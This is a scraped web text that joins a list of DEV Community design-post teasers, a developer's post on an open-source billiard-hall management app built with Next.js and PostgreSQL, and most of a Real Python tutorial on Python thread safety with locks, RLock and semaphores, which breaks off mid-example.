Storytelling Lynn Lynn Lynn Follow Jan 2 Building Structured AI Videos with Soar2AI: From Prompts to Visual Storytelling # ai # design # showcase Comments Add Comment 2 min read The End of "Chat": Why AI Interfaces Must Be Polymorphic Imran Siddique Imran Siddique Imran Siddique Follow Jan 2 The End of "Chat": Why AI Interfaces Must Be Polymorphic # agents # design # ui Comments Add Comment 3 min read SwiftUI Design Tokens & Theming System (Production-Scale) Sebastien Lato Sebastien Lato Sebastien Lato Follow Jan 1 SwiftUI Design Tokens & Theming System (Production-Scale) # swiftui # design # architecture # theming Comments Add Comment 2 min read Wireframes vs mockups vs prototypes — best practices for UI/UX agency workflows Pixel Mosaic Pixel Mosaic Pixel Mosaic Follow Jan 6 Wireframes vs mockups vs prototypes — best practices for UI/UX agency workflows # ux # ui # design # wireframes Comments Add Comment 2 min read 🚀 VanillaJS Sushi Animated Website | Built with Vite & JavaScript Reactjs Guru Reactjs Guru Reactjs Guru Follow Jan 2 🚀 VanillaJS Sushi Animated Website | Built with Vite & JavaScript # javascript # design # opensource # webdev Comments Add Comment 1 min read How to Create a Gradient from Any Photo (Step-by-Step) Varun Krishnan Varun Krishnan Varun Krishnan Follow Dec 31 '25 How to Create a Gradient from Any Photo (Step-by-Step) # design # css # tutorial # productivity Comments Add Comment 3 min read EP 6.2: A Simple Guide to Database Partitioning Hrishikesh Dalal Hrishikesh Dalal Hrishikesh Dalal Follow Dec 31 '25 EP 6.2: A Simple Guide to Database Partitioning # system # design Comments Add Comment 3 min read Moving From Strategy to Design: 2025 Review and 2026 Roadmap Devin Rosario Devin Rosario Devin Rosario Follow Dec 31 '25 Moving From Strategy to Design: 2025 Review and 2026 Roadmap # design # ux # product # career 1 reaction Comments Add Comment 4 min read The Subscription Economy Shift: Why Retention, Not Growth, Wins in 2026 paywallpro paywallpro paywallpro Follow Dec 31 '25 The Subscription Economy Shift: Why Retention, Not Growth, Wins in 2026 # ios # design # mobileapp # ui Comments Add Comment 3 min read Types of UML Diagrams Aniket Vaishnav Aniket Vaishnav Aniket Vaishnav Follow Dec 31 '25 Types of UML Diagrams # architecture # design # systemdesign Comments Add Comment 1 min read 데이터베이스 설계 기초 - 주의사항과 아키텍처 dss99911 dss99911 dss99911 Follow Dec 31 '25 데이터베이스 설계 기초 - 주의사항과 아키텍처 # backend # database # design # architecture Comments Add Comment 1 min read Onboarding First-Screen Trends: Emotional Hooks Are Back (Because They Never Left) paywallpro paywallpro paywallpro Follow Dec 30 '25 Onboarding First-Screen Trends: Emotional Hooks Are Back (Because They Never Left) # ios # design # mobile # ui Comments Add Comment 3 min read 5 Free Tools to Generate Default Avatars for Your Next Project Reed Kongsun Reed Kongsun Reed Kongsun Follow Dec 31 '25 5 Free Tools to Generate Default Avatars for Your Next Project # design # resources # tooling # webdev 1 reaction Comments Add Comment 2 min read UML Diagrams - Types and Relationships dss99911 dss99911 dss99911 Follow Dec 30 '25 UML Diagrams - Types and Relationships # programming # common # uml # design Comments Add Comment 1 min read Are primary constructors good? Jairo Blanco Jairo Blanco Jairo Blanco Follow Dec 29 '25 Are primary constructors good? # discuss # csharp # design # dotnet Comments Add Comment 3 min read Turn your text into an immersive audio-visual experience. techno kraft techno kraft techno kraft Follow Dec 29 '25 Turn your text into an immersive audio-visual experience. # showdev # webdev # tooling # design 1 reaction Comments Add Comment 2 min read I built an AI-powered WCAG color contrast checker that preserves brand colors Danish Khan Danish Khan Danish Khan Follow Dec 30 '25 I built an AI-powered WCAG color contrast checker that preserves brand colors # a11y # webdev # design # opensource Comments Add Comment 2 min read I built a tint & shades generator for design tokens and Figma Danish Khan Danish Khan Danish Khan Follow Dec 30 '25 I built a tint & shades generator for design tokens and Figma # design # webdev # a11y # opensource Comments Add Comment 1 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Setasena Randata Posted on Jan 13 Building Chalkboard: Open Source Billiard Hall Management # opensource # buildinpublic # typescript # nextjs TL;DR: I built an open-source billiard hall management system with Next.js 15, React 19, and PostgreSQL. It handles everything from table sessions to F&B orders, payments, and analytics. Try it on Railway or run it with Docker . The Problem Running a billiard hall in Indonesia involves juggling multiple systems: table time tracking, F&B orders, payments, staff management, and inventory. Most solutions are either: Expensive SaaS with monthly fees Excel spreadsheets (yes, really) Custom solutions that can't be easily replicated I wanted to build something that any billiard hall could deploy and own their data , whether they're in Jakarta, Manila, or anywhere else. Why Open Source? At Kugie , our motto is "Scale Smarter, Not Harder." For small businesses, that means: No vendor lock-in - Your data stays yours Deploy anywhere - Railway, Docker, VPS, or even Windows standalone Customize freely - Fork it and make it yours Community-driven - Features that actual operators need The Tech Stack // The modern stack that just works - Next . js 15 ( App Router + React 19 ) - TypeScript ( because types save lives ) - Drizzle ORM + PostgreSQL - Tailwind + Shadcn / ui - NextAuth . js for authentication - Bun for speed Enter fullscreen mode Exit fullscreen mode Why These Choices? Next.js 15 with App Router : Server components give us fast initial loads - crucial for operators checking tables on slower Indonesian internet. Drizzle ORM : After dealing with Prisma's bulk query limitations at scale, Drizzle's SQL-like syntax and better performance won me over. Plus, Drizzle Studio is fantastic for database debugging. PostgreSQL : Battle-tested, great JSON support for flexible F&B item properties, and works everywhere - from Neon serverless to local Docker. Key Features I'm Proud Of 1. Context-Aware F&B Orders Orders can be: Linked to table sessions Standalone counter orders Draft orders (for customers waiting for tables) // The schema handles all three contexts elegantly export const fnbOrders = pgTable ( " fnb_orders " , { tableSessionId : uuid ( " table_session_id " ). references (() => tableSessions . id ), paymentId : uuid ( " payment_id " ). references (() => payments . id ), status : varchar ( " status " , { length : 20 }). notNull (). default ( " draft " ), // draft → pending → completed }); Enter fullscreen mode Exit fullscreen mode 2. Flexible Deployment Options Method Best For Setup Time Railway Cloud, zero config 2 minutes Docker Self-hosted VPS 5 minutes Windows Standalone Local with auto-update 10 minutes 3. Real-Time Analytics Without the Overhead Pre-calculated analytics stored in order_analytics table: Revenue by hour/day/month Popular items and peak times Staff performance tracking No need for expensive analytics services - just PostgreSQL doing what it does best. Challenges & Solutions Challenge 1: Supporting Poor Internet Connectivity Problem : Many billiard halls in Indonesia have unreliable internet. Solution : Optimistic UI updates with local state Service Worker for offline capability (planned) Windows standalone that works 100% locally Challenge 2: Multi-Language Support Problem : Staff might prefer Indonesian, but owners want English reports. Solution : next-intl with route-based locales ( /id/dashboard vs /en/dashboard ) // Clean separation of concerns messages / ├── id / │ ├── common . json │ ├── dashboard . json │ └── fnb . json └── en / ├── common . json ├── dashboard . json └── fnb . json Enter fullscreen mode Exit fullscreen mode Challenge 3: Complex Payment Flows Problem : A single payment might include: Multiple table sessions Multiple F&B orders Split payments Tips Solution : Consolidated payment model with JSON metadata: export const payments = pgTable ( " payments " , { totalAmount : numeric ( " total_amount " , { precision : 10 , scale : 2 }). notNull (), metadata : json ( " metadata " ), // Flexible structure for complex scenarios paymentMethod : varchar ( " payment_method " , { length : 50 }). notNull (), }); Enter fullscreen mode Exit fullscreen mode What's Next? I'm preparing to launch Chalkboard v1.0.3 widely. Planned features: Mobile PWA for table-side ordering Multi-location support for chains Advanced inventory with supplier management Membership system with loyalty points Try It Yourself Quick deploy: Railway (1-click) Docker Hub GitHub Feedback welcome! Whether you run a billiard hall, arcade, or any time-based rental business, I'd love to hear if this could work for you. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Setasena Randata Follow Location Jakarta, Indonesia Joined May 14, 2025 More from Setasena Randata Hi! I'm tired finding a self hosted finance tool, so I make one. # webdev # programming # javascript # opensource Summit Finance: A Modern Open Source Invoicing Solution Built with Next.js, Drizzle ORM, and Tailwind CSS # webdev # programming # javascript # opensource 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. 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https://realpython.com/python-thread-lock/ | Python Thread Safety: Using a Lock and Other Techniques – Real Python Start Here Learn Python Python Tutorials → In-depth articles and video courses Learning Paths → Guided study plans for accelerated learning Quizzes & Exercises → Check your learning progress Browse Topics → Focus on a specific area or skill level Community Chat → Learn with other Pythonistas Office Hours → Live Q&A calls with Python experts Podcast → Hear what’s new in the world of Python Books → Round out your knowledge and learn offline Reference → Concise definitions for common Python terms Code Mentor → Beta Personalized code assistance & learning tools Unlock All Content → More Learner Stories Python Newsletter Python Job Board Meet the Team Become a Tutorial Writer Become a Video Instructor Search / Join Sign‑In — FREE Email Series — 🐍 Python Tricks 💌 Get Python Tricks » 🔒 No spam. Unsubscribe any time. Browse Topics Guided Learning Paths Basics Intermediate Advanced ai algorithms api best-practices career community databases data-science data-structures data-viz devops django docker editors flask front-end gamedev gui machine-learning news numpy projects python stdlib testing tools web-dev web-scraping Table of Contents Threading in Python Understanding Thread Safety The GIL and Its Implications on Threading Race Conditions Synchronization Primitives Using Python Threading Locks for Mutual Exclusion threading.Lock for Primitive Locking threading.RLock for Reentrant Locking Limiting Access With Semaphores Using Synchronization Primitives for Communication and Coordination Events for Signaling Conditions for Conditional Waiting Barriers for Coordination Deciding When to Use Synchronization Primitives Conclusion Mark as Completed Share Recommended Video Course Thread Safety in Python: Locks and Other Techniques Python Thread Safety: Using a Lock and Other Techniques by Adarsh Divakaran Reading time estimate 41m intermediate python stdlib Mark as Completed Share Table of Contents Threading in Python Understanding Thread Safety The GIL and Its Implications on Threading Race Conditions Synchronization Primitives Using Python Threading Locks for Mutual Exclusion threading.Lock for Primitive Locking threading.RLock for Reentrant Locking Limiting Access With Semaphores Using Synchronization Primitives for Communication and Coordination Events for Signaling Conditions for Conditional Waiting Barriers for Coordination Deciding When to Use Synchronization Primitives Conclusion Remove ads Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Thread Safety in Python: Locks and Other Techniques Python threading allows you to run parts of your code concurrently, making the code more efficient. However, when you introduce threading to your code without knowing about thread safety, you may run into issues such as race conditions. You solve these with tools like locks, semaphores, events, conditions, and barriers. By the end of this tutorial, you’ll be able to identify safety issues and prevent them by using the synchronization primitives in Python’s threading module to make your code thread-safe. In this tutorial, you’ll learn: What thread safety is What race conditions are and how to avoid them How to identify thread safety issues in your code What different synchronization primitives exist in the threading module How to use synchronization primitives to make your code thread-safe To get the most out of this tutorial, you’ll need to have basic experience working with multithreaded code using Python’s threading module and ThreadPoolExecutor . Get Your Code: Click here to download the free sample code that you’ll use to learn about thread safety techniques in Python. Take the Quiz: Test your knowledge with our interactive “Python Thread Safety: Using a Lock and Other Techniques” quiz. You’ll receive a score upon completion to help you track your learning progress: Interactive Quiz Python Thread Safety: Using a Lock and Other Techniques In this quiz, you'll test your understanding of Python thread safety. You'll revisit the concepts of race conditions, locks, and other synchronization primitives in the threading module. By working through this quiz, you'll reinforce your knowledge about how to make your Python code thread-safe. Threading in Python In this section, you’ll get a general overview of how Python handles threading. Before discussing threading in Python, it’s important to revisit two related terms that you may have heard about in this context: Concurrency : The ability of a system to handle multiple tasks by allowing their execution to overlap in time but not necessarily happen simultaneously. Parallelism : The simultaneous execution of multiple tasks that run at the same time to leverage multiple processing units, typically multiple CPU cores. Python’s threading is a concurrency framework that allows you to spin up multiple threads that run concurrently, each executing pieces of code. This improves the efficiency and responsiveness of your application. When running multiple threads, the Python interpreter switches between them, handing the control of execution over to each thread. By running the script below, you can observe the creation of four threads: Python threading_example.py import threading import time from concurrent.futures import ThreadPoolExecutor def threaded_function (): for number in range ( 3 ): print ( f "Printing from { threading . current_thread () . name } . { number =} " ) time . sleep ( 0.1 ) with ThreadPoolExecutor ( max_workers = 4 , thread_name_prefix = "Worker" ) as executor : for _ in range ( 4 ): executor . submit ( threaded_function ) In this example, threaded_function prints the values zero to two that your for loop assigns to the loop variable number . Using a ThreadPoolExecutor , four threads are created to execute the threaded function. ThreadPoolExecutor is configured to run a maximum of four threads concurrently with max_workers=4 , and each worker thread is named with a “Worker” prefix, as in thread_name_prefix="Worker" . In print() , the .name attribute on threading.current_thread() is used to get the name of the current thread. This will help you identify which thread is executed each time. A call to sleep() is added inside the threaded function to increase the likelihood of a context switch. You’ll learn what a context switch is in just a moment. First, run the script and take a look at the output: Shell $ python threading_example.py Printing from Worker_0. number=0 Printing from Worker_1. number=0 Printing from Worker_2. number=0 Printing from Worker_3. number=0 Printing from Worker_0. number=1 Printing from Worker_2. number=1 Printing from Worker_1. number=1 Printing from Worker_3. number=1 Printing from Worker_0. number=2 Printing from Worker_2. number=2 Printing from Worker_1. number=2 Printing from Worker_3. number=2 Each line in the output represents a print() call from a worker thread, identified by Worker_0 , Worker_1 , Worker_2 , and Worker_3 . The number that follows the worker thread name shows the current iteration of the loop each thread is executing. Each thread takes turns executing the threaded_function , and the execution happens in a concurrent rather than sequential manner. For example, after Worker_0 prints number=0 , it’s not immediately followed by Worker_0 printing number=1 . Instead, you see outputs from Worker_1 , Worker_2 , and Worker_3 printing number=0 before Worker_0 proceeds to number=1 . You’ll notice from these interleaved outputs that multiple threads are running at the same time, taking turns to execute their part of the code. This happens because the Python interpreter performs a context switch . This means that Python pauses the execution state of the current thread and passes control to another thread. When the context switches, Python saves the current execution state so that it can resume later. By switching the control of execution at specific intervals, multiple threads can execute code concurrently. You can check the context switch interval of your Python interpreter by typing the following in the REPL: Python >>> import sys >>> sys . getswitchinterval () 0.005 The output of calling the getswitchinterval() is a number in seconds that represents the context switch interval of your Python interpreter. In this case, it’s 0.005 seconds or five milliseconds. You can think of the switch interval as how often the Python interpreter checks if it should switch to another thread. An interval of five milliseconds doesn’t mean that threads switch exactly every five milliseconds, but rather that the interpreter considers switching to another thread at these intervals. The switch interval is defined in the Python docs as follows: This floating-point value determines the ideal duration of the “timeslices” allocated to concurrently running Python threads. ( Source ) In the previous thread pool example, you’ll find a call to sleep() inside the threaded_function , which delays the program execution by 0.1 seconds. This increases the chance of a context switch happening in between because the execution will take much longer than the context switch interval. Due to context switching, programs can behave unexpectedly when run in a multithreaded environment. To manage this complexity, you need to understand thread safety , which ensures your programs run predictably and reliably. You’ll explore what thread safety means and why it’s essential for maintaining consistency in your multithreaded applications. Remove ads Understanding Thread Safety Thread safety refers to the property of an algorithm or program being able to function correctly during simultaneous execution by multiple threads. Code is considered thread-safe if it behaves deterministically and produces the desired output when run in a multithreaded environment. Thread safety issues occur because of two factors: Shared mutable data : Threads share the memory of their parent process, so all variables and data structures are shared across threads. This can lead to errors when working with shared, changeable data. Non-atomic operations : These occur in a multithreaded environment when operations involving multiple steps are interrupted by context switches. This can result in unexpected outcomes if threads are switched during the operation. To effectively manage these issues, it’s important to understand how Python handles threading under the hood. This has everything to do with the Global Interpreter Lock (GIL), and the GIL’s implications on threading is what you’ll learn about next. The GIL and Its Implications on Threading Python’s Global Interpreter Lock (GIL) is a mutex that protects access to Python objects, preventing multiple threads from executing Python bytecodes simultaneously. The GIL allows only one thread to execute at a single point in time. This can lead to performance penalties if you try to use multithreading in CPU-bound programs . Note: While the GIL limits parallelism for CPU-bound tasks, threading can still be effective for IO-bound tasks . When an operation is completed in a single bytecode instruction, it’s atomic . Because the GIL only allows one thread to run at a time, these atomic operations are safe from interference by other threads. This ensures that atomic operations are generally thread-safe, which means that you don’t have to worry about conflicts between threads with atomic operations. Note: The GIL can be released during I/O operations or when calling C extensions, which can result in race conditions even for operations that appear atomic in Python code. Therefore, synchronization mechanisms like locks are still necessary to ensure thread safety when accessing shared mutable data. Also, keep in mind that the GIL only deals with single bytecode instructions, which aren’t the same as single lines of Python code. If you want to learn more about why some lines of Python code that may appear atomic are actually not, then expand the collapsible section below: Non-atomic Python Code Show/Hide Not all operations that appear atomic in Python code translate to single bytecode instructions. For example, updating shared mutable data involves multiple bytecode instructions and is therefore non-atomic: Python >>> import dis >>> def single_line_increment ( n ): ... n += 1 ... return n ... >>> dis . dis ( single_line_increment ) 2 0 LOAD_FAST 0 (n) 2 LOAD_CONST 1 (1) 4 INPLACE_ADD 6 STORE_FAST 0 (n) 3 8 LOAD_FAST 0 (n) 10 RETURN_VALUE When you inspect the bytecode of n += 1 using the dis module, you’ll notice that it’s non-atomic. The operation consists of four main instructions, each of which can potentially be interrupted by the Python interpreter: LOAD_FAST loads the current value of n . LOAD_CONST loads the constant 1 . INPLACE_ADD adds n and 1 . STORE_FAST stores the result back into n . Between any of these four bytecode instructions, Python may release the GIL and allow another thread to execute. If the other thread also modifies n , then this may lead to a race condition and result in unpredictable behavior. To ensure thread safety when accessing shared mutable data, synchronization mechanisms like locks are still necessary, despite the presence of the GIL. Up to Python 3.12, threading allows for concurrency rather than parallelism because of the GIL. The GIL limits parallelism but enables concurrency by allowing multiple threads to run concurrently. A GIL-free Python interpreter is available starting with Python 3.13 and can be enabled with a build-time flag. Note that the default Python interpreter will still have the GIL in 3.13. As a result of the ongoing effort to remove the GIL, a GIL-free Python interpreter may be the default in a future Python release. However, the GIL removal is being implemented in a way that aims to maintain compatibility with existing multithreaded Python code, ensuring that the behavior of properly written multithreaded code remains consistent with the GIL-enabled versions. Race Conditions Now that you’ve explored the basics of thread safety, it’s time to look at race conditions and how the lack of proper synchronization between threads can lead to unpredictable and erroneous program behavior. A race condition occurs when the outcome of a program depends on the sequence or timing of uncontrollable events like thread execution order. Race conditions can lead to logical errors and non-deterministic results when code is run. If two threads simultaneously read and write to a shared variable without adequate synchronization, then they can interfere with each other, leading to incorrect results and behaviors. You can run the script below to simulate such a scenario where two threads try to modify an attribute simultaneously: Python bank_multithreaded_withdrawal.py import time from concurrent.futures import ThreadPoolExecutor class BankAccount : def __init__ ( self , balance = 0 ): self . balance = balance def withdraw ( self , amount ): if self . balance >= amount : new_balance = self . balance - amount time . sleep ( 0.1 ) # Simulate a delay self . balance = new_balance else : raise ValueError ( "Insufficient balance" ) account = BankAccount ( 1000 ) with ThreadPoolExecutor ( max_workers = 2 ) as executor : executor . submit ( account . withdraw , 500 ) executor . submit ( account . withdraw , 700 ) print ( f "Final account balance: { account . balance } " ) Here, you can see a BankAccount object that gets initialized with a balance of 1000. The .withdraw() method is used to withdraw an amount from the account, provided there’s a sufficient balance. A call to sleep() is added inside .withdraw() to simulate a delay and make context switches more likely to occur. Even without this explicit delay, context switches can happen between statements in real-world scenarios. When you run the code above, you may get this result: Shell $ python bank_multithreaded_withdrawal.py Final account balance: 300 The result isn’t guaranteed to be deterministic. When you run this script multiple times, the results can vary: Shell $ python bank_multithreaded_withdrawal.py Final account balance: 500 As you can see, this time the result is different. If these withdrawal operations are executed sequentially, then the code is expected to raise an exception since the account balance is only 1000 and is less than the total amount to be withdrawn, which is 1200—the sum of 500 and 700. In the multithreaded scenario above, the flow of execution may happen as follows: The calls to executor.submit() results in the creation of two threads. The first thread checks the balance (1000) and finds it sufficient for a withdrawal of 500, so it proceeds with the withdrawal. Before the first thread saves the update balance to the .balance attribute, a context switch happens, and the second thread starts and attemps to withdraw an amount of 700. It checks the balance and finds it sufficient for the withdrawal of 700. Both threads independently calculate new balances based on the original balance of 1000. The first thread attempts to update the .balance attribute to 500, while the second thread, unaware of the first thread’s action, calculates and tries to set the balance to 300. The thread that’s last to update “wins”, and sets the balance to either 300 or 500. You’ll notice here that the error is due to simultaneous operations on shared mutable data, which in this case is the .balance attribute that’s shared between threads. Data is being read and modified by one thread while it’s being manipulated by another. Thankfully, Python’s threading module provides a solution, which you’ll look at next. Remove ads Synchronization Primitives You’ve seen how race conditions can be caused by either shared mutable data or non-atomic operations. Python’s threading module provides various synchronization primitives to prevent race conditions and allow for coordination across threads. You can use synchronization primitives to do the following: Control the simultaneous execution of a block of code by threads Make multiple code statements atomic with respect to a thread Limit concurrent access by threads Coordinate between threads and perform actions based on the state of other threads In the upcoming sections, you’ll explore specific synchronization primitives such as locks and semaphores, which play a crucial role in enforcing thread safety and coordination between threads. Using Python Threading Locks for Mutual Exclusion A lock is a synchronization primitive that can be used for exclusive access to a resource. Once a thread acquires a lock, no other threads can acquire it and proceed until the lock is released. You can use a lock to wrap a statement or group of statements that should be executed atomically. Next, you’ll take a look at the lock objects provided by Python’s threading module. threading.Lock for Primitive Locking You can create a Lock object by calling the Lock() constructor from Python’s threading module . A Lock object has two states—locked and unlocked. When it’s unlocked, it can be acquired by a thread by calling the .acquire() method on Lock . The lock is then held by the thread and other threads can’t access it. The Lock object is released by calling the .release() method so other threads can acquire it. Here’s a quick breakdown of these two methods: .acquire() : When the Lock object state is unlocked, .acquire() changes the Lock object to a locked state and returns immediately. If the Lock object is in a locked state, .acquire() blocks the program execution of other threads and waits for the Lock object to be released by the thread holding the lock. .release() : When the Lock object state is locked, the .acquire() method calls from other threads will block their execution until the thread holding the lock calls .release() on Lock . It should only be called in the locked state because it changes the state to unlocked and returns immediately. If an attempt is made to release an unlocked lock, a RuntimeError is raised. The Lock object can be used as a context manager when used with the with statement . This automates the acquiring and releasing of locks. When the program enters the with block, the .acquire() method on the Lock is automatically called. When the program exits the with block, the .release() method is called. You can modify the banking example you used previously by adding a lock to make it thread-safe: Python bank_thread_safe.py import threading import time from concurrent.futures import ThreadPoolExecutor class BankAccount : def __init__ ( self , balance = 0 ): self . balance = balance self . account_lock = threading . Lock () def withdraw ( self , amount ): with self . account_lock : if self . balance >= amount : new_balance = self . balance - amount print ( f "Withdrawing { amount } ..." ) time . sleep ( 0.1 ) # Simulate a delay self . balance = new_balance else : raise ValueError ( "Insufficient balance" ) def deposit ( self , amount ): with self . account_lock : new_balance = self . balance + amount print ( f "Depositing { amount } ..." ) time . sleep ( 0.1 ) # Simulate a delay self . balance = new_balance account = BankAccount ( 1000 ) with ThreadPoolExecutor ( max_workers = 3 ) as executor : executor . submit ( account . withdraw , 700 ) executor . submit ( account . deposit , 1000 ) executor . submit ( account . withdraw , 300 ) print ( f "Final account balance: { account . balance } " ) Here you have the BankAccount class, which initializes its objects with an initial balance passed as the argument. The account object is initialized with a balance of 1000. A threading.Lock() object is stored in the attribute .account_lock , which is used to synchronize access to the account balance. Both the .withdraw() and .deposit() methods use a with self.account_lock: block. This ensures that only one thread at a time can execute the code inside these blocks. In this example, you’ll notice that a BankAccount instance and three threads are created: The first thread withdraws 700. The second thread deposits 1000. The third thread withdraws 300. For additional insight, you add a descriptive call to print() to both methods and also print the final account balance after all the threads are complete. Now when you run the script, you get this output: Shell $ python bank_thread_safe.py Withdrawing 700... Depositing 1000... Withdrawing 300... Final account balance: 1000 Unlike the previous example without locks, this implementation is thread-safe. Lock ensures that only one thread at a time can modify the balance across the deposit() and withdraw() functions, both of which share the same lock. The with self.account_lock: statement acquires the lock before entering the block and releases it after exiting. This solves the race condition problem you saw in the earlier example. Note: This demo focuses on threading.Lock to illustrate atomic updates in one process. In production environments, you often serialize updates via a queue.Queue worker or wrap changes in database transactions for durability and cross-process safety. Now, operations on the balance are atomic across threads, and they can’t be interrupted by other threads once they’ve started. This means that a thread will wait for a pending withdrawal or deposit operation to complete before it executes its operation. Remove ads threading.RLock for Reentrant Locking If a lock isn’t released properly due to an error or oversight in the code, it can lead to a deadlock , where threads wait indefinitely for the lock to be released. The reasons for a deadlock include: Nested Lock Acquisition : A deadlock can occur if a thread attempts to acquire a lock it already holds. In conventional locks, trying to acquire the same lock multiple times within the same thread leads to the thread blocking itself, a situation that doesn’t resolve without external intervention. Multiple Locks Acquisition : A deadlock is likely when multiple locks are used, and threads acquire them in inconsistent order. If two threads each hold one lock and are waiting for the other, neither thread can proceed, resulting in a deadlock. In the following example, you’ll explore a nested lock acquisition scenario. Notice how BankAccount now includes two methods that execute when you perform a cash deposit: Python bank_deadlock.py import threading import time from concurrent.futures import ThreadPoolExecutor class BankAccount : def __init__ ( self ): self . balance = 0 self . lock = threading . Lock () def deposit ( self , amount ): print ( f "Thread { threading . current_thread () . name } " "waiting to acquire lock for .deposit()" ) with self . lock : print ( f "Thread { threading . current_thread () . name } " "acquired lock for .deposit()" ) time . sleep ( 0.1 ) self . _update_balance ( amount ) def _update_balance ( self , amount ): print ( f "Thread { threading . current_thread () . name } " "waiting to acquire lock for ._update_balance()" ) with self . lock : # This will cause a deadlock print ( f "Thread { threading . current_thread () . name } " "acquired lock for ._update_balance()" ) self . balance += amount account = BankAccount () with ThreadPoolExecutor ( max_workers = 3 , thread_name_prefix = "Worker" ) as executor : for _ in range ( 3 ): executor . submit ( account . deposit , 100 ) print ( f "Final balance: { account . balance } " ) Here you see BankAccount with a .deposit() method and an internal ._update_balance() method. Both of these methods attempt to acquire the same lock stored in the .lock attribute. Running this script leads to a deadlock scenario: Shell $ python bank_deadlock.py Thread Worker_0 waiting to acquire lock for .deposit() Thread Worker_0 acquired lock for .deposit() Thread Worker_1 waiting to acquire lock for .deposit() Thread Worker_2 waiting to acquire lock for .deposit() Thread Worker_0 waiting to acquire lock for ._update_balance() You’ll notice that the execution is stopped due to a deadlock and the interpreter locks infinitely. The quick breakdown below explains what’s happening: Thread Worker_0 acquires the lock in the .deposit() method. The same thread then tries to acquire the lock again in ._update_balance() . Since the lock is non-reentrant, meaning it can’t be acquired again by the same thread, the program deadlocks. Threads Worker_1 and Worker_2 are waiting to acquire the lock, but they’ll never get it because the first thread, Worker_0 , is deadlocked. The lock objects created from threading.Lock are non-reentrant. Once a thread has acquired it, that same thread can’t acquire it again without first releasing it. The thread hangs indefinitely because ._update_balance() tries to acquire the lock that’s already held by .deposit() . This deadlock issue can be fixed by using RLock , which is a reentrant lock. It doesn’t block when a holding thread requests the lock again. In other words, an RLock allows a thread to acquire the lock multiple times before it releases the lock. This is useful in recursive functions or in situations where a thread needs to re-enter a locked resource that it has already locked. Similar to Lock , an RLock object can be created by instantiating RLock from the threading module in the Python standard library. You can use RLock to prevent a deadlock scenario: Python bank_rlock.py import threading import time from concurrent.futures import ThreadPoolExecutor class BankAccount : def __init__ ( self ): self . balance = 0 self . lock = threading . RLock () def deposit ( self , amount ): print ( f "Thread { threading . current_thread () . name } " "waiting to acquire lock for .deposit()" ) with self . lock : print ( f "Thread { threading . current_thread () . name } " "acquired lock for .deposit()" ) time . sleep ( 0.1 ) self . _update_balance ( amount ) def _update_balance ( self , amount ): print ( f "Thread { threading . current_thread () . name } " "waiting to acquire lock for ._update_balance()" ) with self . lock : print ( f "Thread { threading . current_thread () . name } " "acquired lock for ._update_balance()" ) self . balance += amount account = BankAccount () with ThreadPoolExecutor ( max_workers = 3 , thread_name_prefix = "Worker" ) as executor : for _ in range ( 3 ): executor . submit ( account . deposit , 100 ) Here, the .lock attribute is now an instance of RLock instead of Lock . The script will now run without a deadlock: Shell $ python bank_rlock.py Thread Worker_0 waiting to acquire lock for .deposit() Thread Worker_0 acquired lock for .deposit() Thread Worker_1 waiting to acquire lock for .deposit() Thread Worker_2 waiting to acquire lock for .deposit() Thread Worker_0 waiting to acquire lock for ._update_balance() Thread Worker_0 acquired lock for ._update_balance() Thread Worker_1 acquired lock for .deposit() Thread Worker_1 waiting to acquire lock for ._update_balance() Thread Worker_1 acquired lock for ._update_balance() Thread Worker_2 acquired lock for .deposit() Thread Worker_2 waiting to acquire lock for ._update_balance() Thread Worker_2 acquired lock for ._update_balance() Final balance: 300 You’ll notice that the execution is completed because the RLock object allows a thread to acquire the same lock multiple times. This is why the ._update_balance() method can acquire the lock even though it’s already held by .deposit() . You can see that all three threads ( Worker_0 , Worker_1 , and Worker_2 ) successfully acquire the lock for both .deposit() and ._update_balance() . This code completes without deadlock, and the final balance of 300 is correct, resulting from three threads depositing 100. RLock is helpful in scenarios like this, where you have nested lock acquisitions within the same thread. RLock also keeps a count of how many times it’s been acquired, and it must be released the same number of times to be fully unlocked. While RLock offers the advantage of allowing the same thread to acquire the lock multiple times without causing a deadlock, it comes with a slight performance overhead compared to Lock . This overhead arises because RLock needs to track the number of times the same thread has acquired it. Therefore, if your use case doesn’t require a thread to re-acquire a lock it already holds, it’s more efficient to use Lock . Now that you understand the basics of using Lock and RLock for managing thread access, you’re ready to explore semaphores, which offer more advanced control over how threads interact with limited resources. Remove ads Limiting Access With Semaphores A semaphore is useful when the number of resources is limited and a number of threads try to access these limited resources. It uses a counter to limit access by multiple threads to a critical section. The Semaphore() constructor accepts a value argument, which denotes the maximum number of concurrent threads acquiring it. Similar to Lock objects, Semaphore objects have .acquire() and .release() methods and can be used as a context manager. Each .acquire() call reduces a semaphores’s counter by one, and further .acquire() calls are blocked when the counter reaches zero. When Semaphore is used as a context manager, the context manager block is entered after a successful .acquire() call. The .release() method is automatically called when the control exits the with block. You can use this approach in scenarios where resources are limited, and a number of threads are trying to concurrently access the same resources. In a banking context, you may think of an example where multiple customers are waiting in the bank to be served by a limited number of tellers. In the example below, teller_semaphore indicates the number of available tellers: Python bank_semaphore.py import random import threading import time from concurrent.futures import ThreadPoolExecutor # Semaphore 